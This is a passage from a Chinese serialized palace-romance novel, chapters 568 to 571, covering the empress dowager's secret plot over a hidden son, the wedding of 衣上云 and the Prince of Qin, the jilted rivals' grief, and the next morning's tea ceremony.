“到底是什么事,让母后如此小心翼翼,竟将殿内所有的奴才都遣了出来?” 皇后一边回忆思量着,心里不由得忽然惊了一下。 “皇后娘娘……”守门的宫女见皇后欲要进大殿去,正要扬声禀告。 “嘘”皇后伸手嘘声将其制止。 “本宫进去看看母后,你们都在这里给本宫好好守着。” 说着,便移步跨过门槛走了进去。 “蠢货,没用的东西,煮熟的鸭子就这么给飞了。” 皇后刚一进门,便闻太后勃然发怒道。 霎时,传出一年迈的声音:“都是老奴一时大意,给疏忽了,方才至此。此事与公子无关,奴才罪该万死,请太后娘娘责罚。” 皇后脚步徐徐靠近,瞥见殿内果然有一白发老奴低低趴在其面前冰冷的地板上朝其致歉着。 紧接着,立在其身边的一男子道:“这一次,我们差一点儿就要得到守护者后人了,可惜……” “差一点儿……那你现在回来做什么?”闻声,太后顿抬眼朝那男子射去,目光如剑,斥责其道。 受到责备的男子似是想说些什么,却又一脸无奈的收了声。 见此,白发老奴继续道:“当老奴一反应过来,便与公子紧追到江边时,那船家说,守护者后人是被宫里的人接走的……” 未及其将话说完,太后闻声顿又将那双剑目转移射向跪地的老奴:“你怀疑是哀家?” 白发老奴的确怀疑,可此刻站在她的面前,却是丝毫不敢违逆她,只默默地垂首下去道:“老奴不敢。” “荒唐!”太后愤愤地道。 “难道……会不会是皇上?”此时,白发老奴忽然又升起了另一疑心道。 太后听了想了想,否定道:“不会,除了陆贤送入宫来的那幅画像之外,关于守护者的事,他什么都不知道。” “糟了,莫非我们中了调虎离山之计了!”白发老奴思来想去,忽然恍然大悟。 “俩个蠢货,还不快去查这中间究竟是谁在捣鬼?没有守护者的力量,还想成就大业,你们什么都别想!”太后瞬间着实气极了。 俩人瞬间醒悟,正准备转身离开,忽又被叫住:“等等……” 太后想了想,问那老奴道:“你方才说你与那守护者后人有过一面之缘?” 老奴道:“是,她曾经在山里救过老奴一命。” 太后想了想,吩咐道:“你下去将记忆中的守护者容貌说与画师听,让画师将其绘出来给哀家。” “是。”老奴答应道。 太后瞬间只觉得自己全身都不舒服了。 正轻揉着此刻痛的似是快要裂开的脑袋,却见眼前二人并未离去,便问:“还有什么事吗?” 那老奴看了一眼身旁由始至终沉默寡言,憋着一肚子委屈的男子。 最后拭了拭眼泪,深情地道:“当年娘娘安排老奴借由在城隍庙的大火,出宫寻找丢失的公子,找到后好好辅佐公子,来日待寻回了守护者后人,便会母子相认,扶持公子登基称帝。” 顿了顿,继续说:“如今这么多年过去了,娘娘您还都没有仔细看看公子,公子已经长大了呢!” 闻此,太后方才将目光缓缓注视到了殿上男子的身上…… 第五百六十八章:盛气凌人的皇后 只见太后将目光缓缓移向龙恩的脸,渐渐仔细端详起来。 她这才发现,此刻眼前的这张脸,与她魂牵梦绕,这一生心中最挚爱之人的脸简直如同是一个模子刻出来的一般相像。 曾经多少个午夜梦回,她都想再见到那张脸,哪怕只是一眼。 可如今终于见着了,她的内心明明是那般急切地想要上前去抚摸感受一下那个记忆中的轮廓的温度。 就连方才还明明愤怒至极的眼神,亦是渐渐变得多少年来从未如此刻般温柔了下来…… 可凝视许久,终究,她还是放弃了这个念头。 只与其四目相对地沉默着。 入宫前的往事一幕幕,过去所有的爱恨情仇,顿时一起涌上了心头。 太后咬紧牙关隐忍着,一双紧紧攥住藏在衣袖下的两个拳头捏的死死地,似是用力地都已在掌心掐出了隐隐血迹。 寿公公亦是默默地站在一边,眼里泛着泪光看着这对母子。 一边回忆着,心疼地道:“当年老奴奉命出宫四处打探,几乎寻遍了整个西秦国。待到终于寻到公子的时候,一名歹人正举刀欲将公子的一条腿斩断,好让公子去街上替其行乞,假如若是当年老奴再晚一步,就那么一步,怕是公子这一生都不可能再站在太后娘娘的面前了。” 说着,抹了抹眼泪,又道:“这些年,太后让公子在宫外好好历练,静待时机成熟,可公子那时还只是个孩子,没有尝过丝毫父母的疼爱,他吃尽了苦头,尝遍了世态炎凉。公子他终不负期望,一人组建起偌大的骁龙会,若不是那秦王轩辕翰从中作梗,骁龙会定能助公子成大事。公子他……他着实是极不容易的。” 一道宫门,将母子二人相隔数十载,太后几度望穿秋水。 如今,母子终于得以团聚,这些年的思念与艰辛,她心里又怎会不知? 曾经的自己,也是至纯至善之人,然至爱惨死,自己又遭人蒙骗算计,为报仇不得不委曲求全,弃幼子于不顾。这一生,她付出如此之大的代价。 可如今,大业一日未成,她母子二人便一日不可相认,否则,这些年,她所做的一切,所有谋划,便就都功亏一篑了。 一念至此,太后在心里默默地提醒自己,忍痛着道:“现在还不是时候。” 正所谓母子连心,龙恩心里亦是清楚的知道,就算自己此刻多么想喊她一声“母亲”,也终究是只能在心里呐喊着,万万不能说出口来。 一室寂静,再无一人说话。 “守护者后人,难道母后她真的找到了?” “当年城隍庙里的那场大火,当真是母后所为?” “原来那场大火,不仅仅是要烧死纯太后,母后还藉由这场大火将自己最贴心的奴才遣出了宫去。” “这个寿公公被遣出宫所要寻的人,莫非就是眼前这男子?” “他与母后……母子相认……登基称帝。他与母后是母子,那皇上……莫不是皇上他不是……” 听到殿内一切的皇后,瞬间惊呆了。 就在这时,一不留神,触碰到了身旁的花架,发出“咣当”一声响。 顿时惊动了殿内三人。 太后听闻,即刻朝门外厉声喝道:“大胆,是谁在那里?” 恰时,皇后身边机灵的宫女看到附近正好有一只猫经过,便急步过去将其抱了过来。 太后见是一只猫跳了出来,便也没有再生怀疑。 皇后吓出了一身冷汗,抚着胸口,似是连呼吸都不敢打开,来不及松口气,便悄悄退了出去。 等到太后回过神来,思虑片刻,说:“既然都已经回来了,便在哀家城中那座隐蔽的别院里暂且住下,务必将守护者尽早寻回才是。” “多谢太后娘娘。” 见着太后终于言语里和气了一些,还让龙恩居住到自己的别院里去,寿公公替其甚觉高兴地道。 “好了,都下去吧,莫要让人起疑了。” 太后摆了摆手,寿公公便过去拽起依依不舍的龙恩,两人挪步一起退了出去。 “怎么会是这样?” “这到底是怎么回事?” “那男子到底是谁?” “如今的皇上……他又是谁?” 听到刚才永安宫内的一切,皇后显然被吓得不轻,精神恍恍惚惚之间,一边口中喃喃细语着,自己都不知道是怎么来到璟帝面前的。 进殿后,看到璟帝正在案前习字,皇后怔怔地望着其观察许久,最后终于回过神来屈身下去朝其行礼:“臣妾给皇上请安。” 璟帝收起笔锋,抬头一见其明显神色异常,便道:“皇后请起,皇后今日脸色为何如此难看?” 皇后着实尚并未想好该如何将方才自己的所见所闻告知璟帝,心里亦是满腹的疑问,却又不知该从何说起。 于是,便佯装说道:“玥儿已有月余未来信给臣妾,臣妾只是思念皇儿而已,无碍,皇上无须替臣妾担心。” 璟帝并未怀疑皇后的话,只继续提笔道:“孩子终究是要长大离开父母身边的,玥儿如今已经出嫁也有数载,自己也已经身为人母。如今,在东宁皇宫里,也属她身份最为尊贵,相信很快也将会执掌凤印,皇后理应安心才是。怎么至今都还不得习惯,放心不下呢?” 不知为何,皇后情绪忽然激动了起来:“玥儿是臣妾身上掉下来的肉,臣妾当然至死都放心不下。不似皇上那般无情无义,自小便对两个皇儿甚少理睬,当时若不是秦皇叔,玥儿险些就要被皇上遣去那苦寒难捱的北地,断送一生了。” 璟帝看到皇后从未有过如此这般盛气凌人之架势,说的这些话,不禁朝其惊住了。 怎料皇后却是愈演愈烈,她看着璟帝的眼睛:“再者,即便如今在东宁皇宫里玥儿尚且尊贵,可是未来呢,皇上敢对臣妾说,皇上没有对东宁国虎视眈眈吗?若真到了那时,皇上你又要如何处置玥儿?玥儿夹在西秦与东宁之间,又将会做如何选择呢?是不是为了皇上的一统天下,哪怕就是臣妾,你也不会放过……” 眼看着皇后言语越说越不像话,璟帝拍案扬声将其制止,斥责道:“够了,皇后你今天是不是魔怔了,竟敢对朕说出如此大逆不道之言词来。” 也不知道今日哪里来的勇气,皇后竟依旧毫不惧怕地反驳道:“究竟是臣妾大逆不道,还是皇上习惯了自己一意孤行,欲逆天而行。” 璟帝听闻,指着门口几乎是对其咆哮了起来:“出去!滚出去!给朕立刻滚回你的宫去!” “哼”皇后亦不甘示弱地瞪着璟帝,过了一会儿,遂冷哼了一声,既而甩了甩衣袖转身离去。 待到回到自己的宫里,皇后早已泪流满面。 身旁的婢女一边替其擦拭着眼泪,一边安慰着:“皇后娘娘今日是怎的?刚才您又为何要那般言语挑衅皇上呢?玥公主久未来信,许只是因为一些事耽搁了,皇后再多等几日便是,实在不必如此动怒。” 皇后此刻心里也是乱极了,哽咽着道:“或许,我只是在害怕方才在永和宫中的所见所闻。” 闻此,婢女方才开口问:“对了,方才奴婢跟在娘娘身后,不知娘娘到底听到了什么,竟会如此恐惧?” 皇后回过神来看了婢女一眼,却又欲言又止道:“本宫……” 似是忽然又想起了什么,皇后着急的问:“对了,方才永安宫那边,你有没有嘱咐?” 婢女道:“皇后娘娘放心,奴婢都已经嘱咐好了,今日皇后并不曾出现在永安宫里。” 皇后默默地道:“那便好,那便好。今日之事,万不可让皇上和太后知晓。” 婢女贴心地递了一盏热茶上来,关切地道:“娘娘喝口安神茶,压压惊吧。” 皇后看着婢女手里捧着的热茶,这才终于舒了口气,将其接过轻抿了一口。 放下茶盏,幽幽道:“其实,当初公主出嫁的时候,本宫便已经料到了她的结局。你知道,这是一种什么感觉吗?” 皇后说着,深看向婢女的眼睛。 婢女一脸不解地摇摇头。 皇后黯然道:“这种感觉,就仿佛一个将死之人,知道自己快要死了,每过一日,便少一日。而自己却什么都做不了,这种无助极了的感觉,你懂吗?” 婢女似懂非懂,又问:“那皇后娘娘为何当时不极力反对呢?” 皇后道:“因为本宫知道,在这个世上,有一日,当你遇到那个只一眼便让你心动之人,纵使知道是在飞蛾扑火,你也会在所不惜。生在帝王家,可玥儿她偏偏不是帝王家那种本该乖巧温柔的样子,这样的她,未来对她是福是祸,全看她的造化了,没有人帮的了她!” 说着,皇后再次默默地流下了眼泪。 而此刻,在城东秦王府,城西衣府,乃至整个皇城的大街小巷却是处处锣鼓喧天,鞭炮齐鸣,好不热闹的另一番景象。 第五百六十九章:我来嫁你了 此刻,在城东秦王府,城西衣府,乃至整个皇城的大街小巷却是处处锣鼓喧天,鞭炮齐鸣,好不热闹的另一番景象。 百姓们携着一家老小纷纷涌上街头,为庇护他们的秦王大婚而欢呼庆贺。 城西衣府。 明月阁里,衣上云正端坐在梳妆台前若有所思着,菱花镜中的她,今日显得格外的美。 过了会儿,年氏推门而入。 却在看到衣上云的那一霎那,泪水瞬间模糊了双眼。 年氏心里忧心极了地道:“如此乖巧善良的一个孩子,偏偏为何命运如此多舛?她若真是我所生的,那该多好!留下,当真是危险重重!” 忽地回过神,大喜的日子,又不得不赶忙收拾好自己的情绪,走过去拿起梳妆台上的篦子,亲自替其默默地梳妆起来。 怎料梳着梳着,年氏忍不住又再次悄悄抹起泪来。 衣上云此时心情仿佛还不错,忽从镜中察觉后,转身望着年氏的脸,问:“母亲,你怎么哭了?” 年氏急急抹掉泪痕,转而说道:“母亲是高兴,替你高兴。秦王,也算得上是个稳妥的依靠,想他日后定能护你周全。” 闻此,衣上云似是明白了年氏心里的担忧。 思虑片刻后,她抬头拉起年氏的手,说道:“云儿知道母亲在担心什么!” 即便事已至此,年氏仍旧心里还存有一丝期待,期待衣上云能更理智些,所以还是多问了句道:“你既然都知道,那你可真的都想清楚了?” 衣上云起身,缓缓望向窗外的一片小花园里的杂草丛,回忆着平静地道:“曾经只知自己是父亲的女儿时,城里俱传女儿在家中不被待见,是个一无是处的废柴丑女,还遭夫家退了亲,使家中蒙羞。若是那时的女儿,女儿便亦会认为自己粗鄙不堪,配不上他。” 说完顿了顿,只见她眉头渐渐皱起:“可有一天,女儿被告知自己竟然是富甲一方的东宁国,备受尊敬的已故嫡皇后遗失在西秦的唯一血脉。若又是那时的女儿,女儿便会认为,身为一国尊贵的嫡亲公主,怎可将自己的一片赤子之心交付于敌国将领。” 此后沉默了很长一段时间,衣上云方才再次抬起头来仰望着天空好一会儿,才复又开了口。 “然又有一日,女儿被人告知自己是西秦宫中丢失多年的守护者后人,拥有神秘的力量,得到女儿的人,可以得这天下。女儿虽觉这话荒谬可笑,自己只不过是世间一最平凡的女子,甚至就连自己都护不了,又何谈具有守护一座城池的力量?可偏偏女儿胆小懦弱,知道人言可畏,生怕此身份一旦暴露,真的成为各国争夺的众矢之的,于是终日不得不小心翼翼。如若是这时的女儿,便会认为自己当远离所有爱我和我爱之人,一人寻一隅之地,孤独一生,才是最好的。” 听了衣上云的这番话,见其眼里泛起了点点泪花,年氏方才了解衣上云内心的苦楚,亦替其心痛地抹起泪来。 顿了顿,衣上云继续说:“女儿心中又怎会不知,过去,现在,未来,无论何时的女儿,都是与他不得匹配的。女儿不是没有试过拒绝,只是每一次拒绝转身后,女儿的心都是那般的痛。” 泪水终是情不自禁的流了下来,衣上云将其轻轻拭去:“然无论是何时的女儿,他却始终对女儿不离不弃,每一次遇险,殿下他都用自己的性命相护。” 说着说着,衣上云在心里默默下定了决心。 缓缓转身对着年氏无比坚定地道:“所以,这次女儿愿意抛开一切杂念,听从自己的心意,接受他一次。” “可是……”年氏虽然亦是感动,可依旧清醒地还想劝些什么。 这时,燕儿端着一些茶果推开门走了进来,一边走一边高兴极了地道:“小姐你是不知道今儿个府里有多热闹,前庭后院到处挤满了宾客,老爷和少爷都快应付不了了,兰姨娘和二小姐招待女眷们更是忙得不可开交。燕儿想着小姐定是肚子有些饿了,好不容易才挤过人群给小姐送这些吃食来。” “小姐定是饿了吧?”说着,燕儿便将一块精致的鲜花饼递到了衣上云的手里。 待衣上云回座下刚一接过去,燕儿便迫不及待地再次开了口道:“今日府里可风光了,秦王殿下对我们小姐可是真的很好呢……” 岂料刚一开口,年氏摇了摇头将其打断打趣道:“燕儿的名字当真适合你,果然整日里叽叽喳喳说个不停。日后跟着小姐到了王府,可不能如此没有规矩,惹人笑话。” 无奈,此时年氏显然也只能由着衣上云的选择了。 于是继续一边替其梳妆,一边说:“原本想你的婚事来的太过仓促,我们什么都还没来得及为你准备。不成想,一大早回到府里没多久,秦王殿下便命人将所有一应俱全的差人送了过来。” 年氏说着,目光朝院子里瞥了一眼,继续道:“先前下聘的彩礼就都已经无处放置了,你看今日又送来那满院子的嫁妆,府里哪里能放下,眼下只能放在门外的长街上。看那不止应有尽有且样样都精致无比的样子,完全不像几日便就能备下的。” 此时,燕儿着急地说:“那可不是嘛,燕儿听闻前来送礼的人说,这些嫁妆,可是打从我们小姐出宫后,秦王殿下便就已经开始在着手准备了。” 闻此,衣上云顿时一惊,道:“你说什么?我出宫的时候,殿下便已经命人在准备这些嫁妆了?可那时,我本不是被派去王府侍奉秦王妃的吗?” 燕儿骄傲地道:“就算小姐愿意侍奉那个娇公主,秦王殿下又怎么可能让你受此委屈呢!还有,什么叫命人在准备这些嫁妆?我可是听那些人说,这些嫁妆里面的每一件,都是秦王殿下亲自绘图,亲自在店里挑选,命人特意制作的。” 听到这一切的衣上云显然都惊呆了,他竟不知,轩辕翰无声无息地默默为自己做了这么多。 此时,年氏也已经为其梳妆完毕。 最后认真地一边梳着头发,一边嘴里念叨着: “一梳到头,父女母女,养育情深。” “二梳到头,父母叮嘱,谨记于心。” “三梳到头,尊敬公婆,多尽孝心。” “一梳,梳到尾。” “二梳,梳到白发齐眉。” “三梳,梳到儿孙满地。” 佼佼乌丝,玉带珠花。兰性喜如春,娇面红霞衬,朱唇绛脂匀。巧眉凤眼,袅娜如花轻体,窈窕嫣姌美仙家。 衣上云最后透过面前的菱花镜看了看自己的脸,遂缓缓起身,转身屈膝下去俯身趴在地上郑重地朝年氏行跪拜大礼。 道别:“女儿拜别母亲!” 一袭凤冠霞帔于身,微微一笑,倾国倾城。 届时,燕儿端着盛放着一把精致的雀扇的盘子走了过来。 衣上云将其深看了一眼,母女俩将彼此的手紧紧握在一起。 年氏含泪语重心长地道:“人间烟火一场,谢谢你来到我的身边,做我的女儿。” 衣上云亦道:“云儿命如浮萍,谢谢母亲将我留在你的身边,给了我一个家,庇佑我长大,我永远是你的女儿。” 片刻后,俩人终不舍得缓缓松开了手。 霎时间,伴随着一声:“吉时已到!” 衣上云便执扇遮面。 外面锣鼓喧天,乐声响起,振彻了整个云霄。 告别了父母双亲,衣上云与轩辕翰一道在众人的欢送下缓缓走出了衣府大门。 一出门,轩辕翰便俯身过去将衣上云横抱了起来,紧紧拥在怀里,柔声在其耳边道:“本王亲自来接你了。” 说完,便将其稳稳抱上了华丽的花轿。 自己则越上马背,亲自领着自己心爱的人,在全城百姓的见证下,带她回家。 承载着数十里红妆的马车,从街头排到街尾,井然有序。 一路上,迎亲队伍所到之处,无一门户前不张灯结彩,涌满行人,无一门户不鸣鞭庆祝,无人不称道此乃天赐良缘。 这一日,全城沸腾。 夜幕下,城东秦王府。 里里外外张贴着耀眼的大红喜字、红色的帐幔与灯笼高高悬挂起,所形成的红光映辉,将整个王府,乃至整片天空都染成了红色,好一派喜气盈盈的气氛。 今晚的林月轩里,一改往日的清冷,格外充满着烟火气。 走进寝殿,只见宽大的喜榻前悬挂着百子帐,床头悬挂着大红缎龙凤双喜床幔。 昏暗的喜房内,榻上铺着绣满了一百个神态各异孩童的百子被,绸缎被面上居然还铺了红枣、花生、桂圆、莲子。 红烛摇曳生姿,衣上云独自静静的坐在榻边。 脑海中,浮现起与轩辕翰从相遇至今,两人之间的点点滴滴来。 端详着眼前这一切熟悉又陌生的一切,心里满心欢喜地默默道:“轩辕翰,这一路,当真是好不容易。终于,我来嫁你了。” 殊不知,今夜,亦是有人欢喜有人忧。 第五百七十章:如果知道你会来 白日里,万人空巷的盛景过后,灿烂星河下,漫天的烟花绽放天际。 终于,街上喧嚣的人群亦渐渐散去。 距离秦王府不远处,一酒楼里,易三少心痛难捱,正独自买醉。 面前的案上歪七扭八地堆满了空酒壶,手里依旧执着一壶。 整个人早已是醉意朦胧,却又似醉非醉地对着手里的酒壶黯然自言自语道:“终究,你还是选择了他!就差一步,我们之间,就只差了一步,此生,你便就彻彻底底只属于我一人……” 回忆千遍,万遍,终是意难平。 说完,兀自将手中的酒一口灌下,复又提起一壶来,起身摇摇晃晃地走到了窗边,凭栏而立。 依旧是那双细长的桃花眼,放眼寻着今夜满天最火红璀璨的天边处,难过地道:“为什么,为什么你明明知道不能回去,不该回去,却还是回到了他的身边。” 尽管衣上云答应跟他走,却是给了他一丝希望,可最后一刻,还是那般决绝地选择了回到轩辕翰的身边。 然即便如此,易三少仍然没有真的责怪她。 因为他知道,这一切,从头至尾,都只是他的一厢情愿罢了。 从始至终,她从未属于过他,也不可能属于他。 可他就是不甘心,也不放心她,尤其是在无意间听到衣上云便是西秦国遗失多年的守护者后人后,便更加担心她的处境。 一念至此,他着实害怕极了:“丫头,你做如此选择,可知往后余生里自己会有多危险?世上谁人不知,得守护者力量者,得天下。天下之争,岂是你一柔弱女子能承受住的?即便你什么都不做,只因了这个身份,便会被这个天下撕得粉碎。你当真一定要如此,用自己的性命去爱他吗?你所做的一切,真的值得么?” 就在易三少陷入沉思时,忽闻一阵幽扬的笛声响起。 他缓缓移动目光朝其寻望去。 只见另一头,皎白的月光下,拓跋宏亦独自凭栏而立,一袭白衣胜雪,吹起笛声幽幽,遥望着与自己同样的方向。 那笛音中,分明满含着沉沉忧郁,缕缕情思,如泣如诉…… 爱而不得,得而复失,到底哪个更加遗憾?怎教人会如此相思两难? 相爱无缘,相见无言,从此过后,山海两边,悲欢忘却,再无所忘。 秦王府门口。 见宾客终于陆陆续续地散尽,躲在暗处守了几乎一整天的陆天骄终于现出了身来。 岂料刚上前到门口,便被守门的侍卫挡了住。 陆天骄吓了一跳,对着两个侍卫喝了一声道:“混账,让我进去,我要见翰哥哥。” 一名侍卫抬头看了看天色,道:“今日王爷大婚,这个时辰怕是应该已经入洞房了,见不了客了。” 陆天骄一听,即刻怒了起来,道:“入洞房?就凭衣府那个贱人,她何德何能,怎配与翰哥哥同榻而眠,侍奉左右。” 另一侍卫道:“王爷与王妃情深意重,乃是奉旨成婚,且城里无人不夸王爷与王妃是天赐良缘,陆小姐在此又是在质疑谁呢,这话若是传到宫里去可就不好了,还望您慎言!” “你……本小姐懒得和你们这些狗奴才废话,滚开!”陆天骄气得脸都绿了,指着那侍卫的鼻子,恼羞成怒。 竟还妄想硬闯进府,俩侍卫即刻抽出腰间佩剑,将其横在其面前挡住,道:“陆小姐莫要再无理取闹,妄图硬闯秦王府。若是再不知退去,请恕咱们对小姐不客气了!” 岂料陆天骄竟毫不避讳地忽然大喊大叫了起来道:“滚开,让我进去,让我进去,我要见秦王殿下,我要见翰哥哥。” 侍卫着实有些无奈,只能依旧与其纠缠在一起做阻拦之势:“陆小姐,你难道忘了,当初太妃娘娘逐你出门的时候所说过的话了吗?你难道不知今日为何你父兄都来庆贺殿下大婚,却唯独没有带你吗?太妃娘娘说过,没有她亲自邀请,你一辈子都不可再进秦王府大门。” 岂料陆天骄仍不管不顾,拼尽全力对抗着俩个侍卫的阻拦,声嘶竭力地呼喊着:“我不管,我不管,今日我一定要见到翰哥哥,谁拦我都没用,就算你们杀了我,我今天也一定要见翰哥哥。” 就在两个侍卫显然拿其没有办法的时候,从院子里渐渐现出一个高大挺拔的身影来。 顿时,一熟悉地不能再熟悉的声音响起:“住手!” 借着昏暗的烛火之光,陆天骄抬头一看清来人的轮廓,几乎顿时喜极而泣:“翰哥哥,翰哥哥,你来了,你终于来了,我就知道你不会那般狠心,不见天骄的。” 侍卫一见原是主人出来,便即刻松开了手,收回佩剑。 轩辕翰身着喜服,迈步跨过门槛,走了出来,在石阶上站住,沉声问:“本王大婚之日,你这是做什么?” 陆天骄立在石阶下,抬头眼巴巴地望着轩辕翰的脸,泪眼婆娑道:“翰哥哥,你果真娶了她?” 轩辕翰眼神坚定地回答:“在这世上,本王想娶之人,自始至终都只不过是她一人而已,从无别人。” 陆天骄不甘心极了,问他:“可她到底究竟有什么好?让翰哥哥如此着迷痴恋?” 轩辕翰道:“她善良,勇敢,敢爱敢恨。在本王的眼中,她就是这个世上最好,最好的女子。” 看到轩辕翰此刻说起衣上云来洋溢着满脸幸福与宠溺,陆天骄明明流着泪,却渐渐笑了起来。 过了会儿,陆天骄泪流满面着缓缓开口道:“竟是如此,既然如此,那天骄又算什么?我们的过去,打小在西秦学院里共同度过的那些日日夜夜又算什么?天骄心里一直以为,自己就是为了翰哥哥而生的。这一生,我所做的一切,也都是为了翰哥哥。而如今,如今,你教天骄该如何接受,我又该何去何从?” “其实,在遇到云儿之前,本王从来都不曾思虑过儿女私情,是她,让本王此生得以圆满。” 轩辕翰说着,缓缓看向陆天骄的脸,真心地祝福说:“本王相信,终有一日,你也一定能找到属于自己的归宿!” “不会了,不会了……” “此生,再也不会有能像翰哥哥那样让天骄愿意付出所有真心的人了。翰哥哥,你当真对天骄好狠心,好狠心……” 当深藏于心底所有的疑问在此终于得到了答案之后,陆天骄终于缓缓转身,踉踉跄跄,一步步落寞地离去,口中低声喃喃哭诉着…… 见其离去,轩辕翰抬头望了望头顶的苍穹之上,月已满,星如雨,好个良辰美景! 最后,长长地舒了口气后,亦转身回去。 “嘎吱”一声。 林月轩寝殿的门,终于被人从外面推了开来。 轩辕翰步履坚定地朝在榻边已等候许久的衣上云身边踱步了过去。 温柔地除去其手中的雀扇,这才发现今夜的她,精致的妆容,在红烛灯火的照耀下,脸颊两侧泛着微微的潮红,竟是自己从未发现,亦从未曾预料过的如此的温柔、美丽、动人。 不知不觉就这样呆看了一会儿,方才回过神来亦在其身边落座下,默默地握起她的一只纤纤玉手,先开口说了话:“谢谢你,云儿。” 闻此,衣上云方才缓缓抬起头来,却是不解的看着他的眼睛。 轩辕翰温柔地与其对视,道:“过去曾经多少次,本王都以为会失去你。不过现在,还好,你还在,本王很欢喜。” 衣上云恍然大悟,亦微笑着道:“从此以后,殿下与云儿,一生,俩人,三餐,四季,岁岁年年。” 此刻,终于如愿把她带回了家,真真切切的拥有着她。 轩辕翰实在是难以抑制内心的情绪,便低头下去温柔地吻上了她温软的红唇。 遂一只骨节分明的大手亦伴随着缓缓伸出,触到了她的衣领上,替其除去繁琐的外衣的遮挡。 可就在衣上云在其怀里,被其吻的一阵阵酥麻感袭遍全身的时候,轩辕翰却又忽然嘎然而止。 衣上云察觉后,缓缓睁开了那双显然已经迷离的双眼,看着轩辕翰的脸。 轩辕翰一脸宠溺又心疼地道:“今夜大婚,本王比任何时候都想要你。可是……来日方长,先把身子养好,本王还等你开枝散叶呢!” 衣上云听了,轻咬了咬嘴唇,面露起一丝难色来,道:“可……我们真的还会有孩子吗?” 轩辕翰看着她的眼睛,坚定地说:“会,当然会,本王相信自己的实力。自然也相信你,定不会让本王失望。” “殿下。” 闻此,衣上云满脸娇羞地再次环紧他的腰身,躲进了轩辕翰宽阔坚实,温暖的怀抱。 缱绻旖旎片刻,衣上云紧紧贴在轩辕翰的胸口,问:“听说殿下在云儿出宫时便就开始为云儿准备起嫁妆呢?如此说来,是不是……自那时起,殿下便对云儿起了求娶之心呢!” 轩辕翰将下巴温柔地抵在她的额头,道:“晚了!” 衣上云疑惑地问:“晚了?什么晚了?” 轩辕翰道:“即便那时已经开始着手准备,本王也觉得已经晚了,应该还可以更早。” “更早?”衣上云惊诧地道。 轩辕翰记忆倒退,回忆着俩人过去的每一次遇见。 直至到那夜,在林中,她救了他一命,便是那一眼。 可却似是还不够,轩辕翰最后说:“如果知道你会来,即便是尚还未遇见,本王便就该开始准备了。” 闻此,衣上云感动不已,沉默了许久后,忽然认真地对轩辕翰说道:“殿下,答应云儿,今后无论发生什么,殿下都要相信云儿,我们再也不分开了。” 轩辕翰点了点头,高兴地道:“本王答应你。” 窗外,寂静的夜里,百花齐放,暗香涌动,星河灿烂,撰刻着绻缱柔情…… 第五百七十一章:敬茶 当清晨的第一缕阳光穿透云雾,透过门窗的缝隙温柔地洒了进来。 届时,一缕清风徐来,拂动殿内雕花檀木古床上的纱幔层层,隐约可见帐内俩个人儿的缱绻而眠。 轩辕翰一如往常,于这个时辰缓缓睁开了那双深不见底的眸子。 依旧是那张仿佛被天公雕刻过的好看的轮廓,只是这一夜,似是他有生以来,睡得最安稳舒心的一晚。 与往日不同。 今日的他,在睁开眼睛后并未就起身下榻,而是几近贪婪地端详起怀里柔软的人儿来。 只见衣上云正一副曼妙身姿,盈盈而卧于自己的怀中。 一头乌黑的长发随意散落着,额前光洁如玉,羽睫轻颤,隐透晨光,眉如新月不描而黛、灵动的一双星眸轻闭。一片朱唇不点而赤,朦胧纱衣下,若隐若现那处挺立的美好,样子甚是娇媚横生。 若不是顾及先前她身子受损亏虚地厉害,轩辕翰只想现在立刻就欺身上去,把她压在自己的身下,从头到尾,耳鬓厮磨,将其身上的每一处风景都细细琢磨,吃干抹净。 然只能隐忍着心头最难熬的欲望,感受着她浅浅的呼吸。 这样的情景,他曾经在脑海里幻想过无数次,如今,终于全都如此真实地拥有了。 一想到此后朝朝暮暮,他都可以如此真实地拥她入怀,与她同榻而眠,轩辕翰的眼神便变得无比温柔起来,忍不住将其拥地更紧了一些。 而尚还在睡梦中的衣上云似是感受到了他的动作,亦配合着他将身子微微蠕动了一下,往他怀里更深处蹭了蹭。 轩辕翰一感受到她的回应,脸上不甚欢喜,低声细语道:“本王终于等到你了。” 温存片刻,最后一脸宠溺地在她的额头上落下深深的一吻,便小心翼翼地抽出自己那只被压在她脖颈下一整晚的胳膊,起了身。 一推开门。 见张嬷嬷与燕儿俩人不知何时早已经在门外候着侍奉,轩辕翰却对二人开口吩咐道:“不要进去,让王妃多睡会儿。” 燕儿听闻怔愣了一下,心里想:“即便是在小小的衣府里,就连恃宠而骄的兰姨娘也是向来每日要在老爷之前起身伺候的。如此大的王府,秦王殿下位高权重,小姐嫁过来第一日便赖床,这样真的好吗?” 正想着规矩,见张嬷嬷开口,燕儿方才顿回过神来赶忙与其一道朝其屈膝领命道:“是。” 张嬷嬷起身后,喜道:“殿下待王妃可真是好!” 直待轩辕翰离开后,燕儿方才应了句:“那当然了,可我家小姐也很好呀。” 张嬷嬷笑着点了点头,接着意味深长,甚觉欣慰的说:“是,王妃,极好!我是从襁褓里便看着殿下一日日长大的,如今他的性情再也不那么孤冷,越发的温柔了,如此这般,真好!” 紫和轩里。 衣上云将燕儿手里捧着的一盏热茶双手端起,上前到纯太妃的面前。 想起俩人之前的过往种种,心里终归是有些复杂情绪。此刻的确还是很难做到坦然,然终还是朝其恭敬地敬茶:“母妃请用茶。” 纯太妃朝其端详了片刻,似是看到了她心里的犹豫。 然一瞥见其身旁的轩辕翰,便伸手将茶接过,轻抿了一口后将茶盏递给了身旁的张嬷嬷。 接着开口问道:“你的身子可好些了?” 衣上云难免表情有些严肃,便道:“已经好多了,母妃无须挂怀。” 纯太妃又看了看一旁的轩辕翰,忽然说道:“本宫知道你们新婚燕尔,可王妃身子尚未痊愈,还需小心调养段时日,恐伤根本。不如今日起先搬去云水阁住段时间吧。王爷年轻气盛,血气方刚,恐怕若再伤了王妃,如此便就不好了。” 未及衣上云说话,轩辕翰便扬声气道:“儿臣昨日刚刚大婚,母妃为何如此着急将……” 岂料话刚开口,衣上云便急急伸手出去拽住了他,朝其暗暗摇了摇头,示意他莫要为自己与纯太妃起争执。 转而屈膝对纯太妃答应道:“是,谨遵母妃教诲,儿臣这就命燕儿将儿臣之物搬至云水阁里。” 大婚第二日,母子三人便就这样不欢而散。 衣上云与轩辕翰离开后,张嬷嬷不解地问:“太妃娘娘为何要这样做,娘娘明知他二人情深意重,好不容易才在一起。自从殿下有了那丫头,整个人都变暖了起来。若是如此拆散他们,娘娘不怕伤及到母子情份吗?” 